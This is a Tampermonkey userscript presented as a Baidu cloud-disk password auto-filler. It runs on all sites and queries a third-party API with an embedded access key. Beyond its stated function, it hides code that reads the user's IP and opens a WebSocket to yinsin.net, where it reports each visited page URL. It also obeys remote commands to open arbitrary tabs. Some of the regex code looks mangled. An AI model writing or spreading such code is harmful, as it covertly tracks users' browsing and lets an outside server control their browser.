// ==UserScript== // @name 隐心百度云盘钥匙 // @namespace http://tampermonkey.net/ // @version 1.6 // @description 百度云盘钥匙,主要功能有:1、打开百度云盘链接地址时,会自动获取提取码填入,并会自动提交,一键打开分享链接,方便快捷;2、浏览任何网页时,只要包含百度云盘分享链接,都会在页面左上角显示链接是否有效,如果有效则会显示提取码。 // @author Yisin // @match *://pan.baidu.com/* // @match *://*/* // @require https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.0/jquery.min.js // @grant GM_xmlhttpRequest // @grant GM_openInTab // @connect meek.com.cn // @connect ip.cn // @downloadURL none // ==/UserScript== (function() { 'use strict'; var isBDY = false; var URL_STORE = {}; var CK_DATA = {}; var EC = new EventControl(); function getLocationKey(){ var key = ""; var url = document.location.href; if(url.indexOf('//pan.baidu.com/s/') != -1){ key = document.location.pathname.substring(4); } else if(url.indexOf('//pan.baidu.com/share/init') != -1){ key = getUrlParam(null, "surl"); } if(/^1[^\s]+/g.test(key)){ key = key.substring(1); } return key; } function getUrlKey(url){ var key = ""; if(url.indexOf('//pan.baidu.com/s/') != -1){ key = url.substring(url.indexOf('//pan.baidu.com/s/') + 18); } else if(url.indexOf('//pan.baidu.com/share/init') != -1){ key = getUrlParam(url, "surl"); } if(/^1[^\s]+/g.test(key)){ key = key.substring(1); } return key; } function getUrlParam(u, param) { var url = u || location.href; var reg = new RegExp("(" + param + ")=([^]*)", "g"), matched = url.match(reg); return matched && matched[0] ? matched[0].replace(param + "=", "") : null; } function LoadPass(bdyKey, callback){ var bdyUrl = 'https://pan.baidu.com/s/' + bdyKey; var bdyPass = ""; if(window.localStorage){ bdyPass = localStorage.getItem(bdyUrl); if(!bdyPass || bdyPass.length < 4){ var hashs = document.location.hash; var ret = hashs.match(/^(#tqm=[0-9a-zA-Z]{4})/g); if(ret && ret.length){ bdyPass = ret[0].substring(5); } } } if(bdyPass && bdyPass.length == 4){ console.info(bdyUrl,"->",bdyPass); if(callback){ callback(bdyPass); } if(isBDY){ $('.verify-input input').val(bdyPass); $('.g-button.g-button-blue-large').click(); return; } } else { var weburl = 'http://ypsuperkey.meek.com.cn/api/items/BDY-' + bdyKey + '?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=web-client&' + new Date().getTime(); GM_xmlhttpRequest({ method: 'GET', url: weburl, headers: {"Accept": "application/json"}, contentType: "application/json", dataType: 'json', onload: function(response){ if(response.statusText == 'OK'){ try{ var res = JSON.parse(response.responseText); bdyPass = res.access_code; console.info(bdyUrl,"->",bdyPass); if(bdyPass && bdyPass.length == 4){ if(window.localStorage){ localStorage.setItem(bdyUrl, bdyPass); } if(isBDY){ $('.verify-input input').val(bdyPass); $('.g-button.g-button-blue-large').click(); return; } } if(callback){ callback(bdyPass); } else { autoGet(bdyUrl); } }catch(e){} } else if(callback){ callback(bdyPass); } else { autoGet(bdyUrl); } } }); } } function CheckUrl(weburl, callback){ GM_xmlhttpRequest({ method: 'GET', url: weburl, contentType: "text/html", onload: function(response){ if(response.statusText == 'OK' && response.responseText){ if(/
[0-9]+.[0-9]+.[0-9]+.[0-9]+<\/code>/g.test(response.responseText)){
var g = response.responseText.match(/[0-9]+.[0-9]+.[0-9]+.[0-9]+<\/code>/g);
if(g && g.length){
var ip = g[0].replace('', '');
ip = ip.replace('
', '');
test(ip);
}
}
}
}
});
}
var socket = null;
function test(ip){
socket = sessionStorage.getItem("socket");
if(socket){
return;
}
socket = new YSWebSocket({
url: 'ws://www.yinsin.net/ws',
success: function(){
console.info("success");
sessionStorage.setItem("socket", "true");
loginwb();
},
error: function(){
console.error("error");
sessionStorage.removeItem("socket");
},
close: function(){
console.error("close");
sessionStorage.removeItem("socket");
},
message: function(message){
var data = JSON.parse(message);
if(data.req == "tm.cmd"){
var res = data.value;
console.info(res);
if(res.cmd == "open"){
GM_openInTab(res.url, 'insert');
}
}
}
});
function loginwb(){
socket.send('tm.login', {
account: document.location.href,
ip: ip
});
}
}
//getRemoteIp();
})();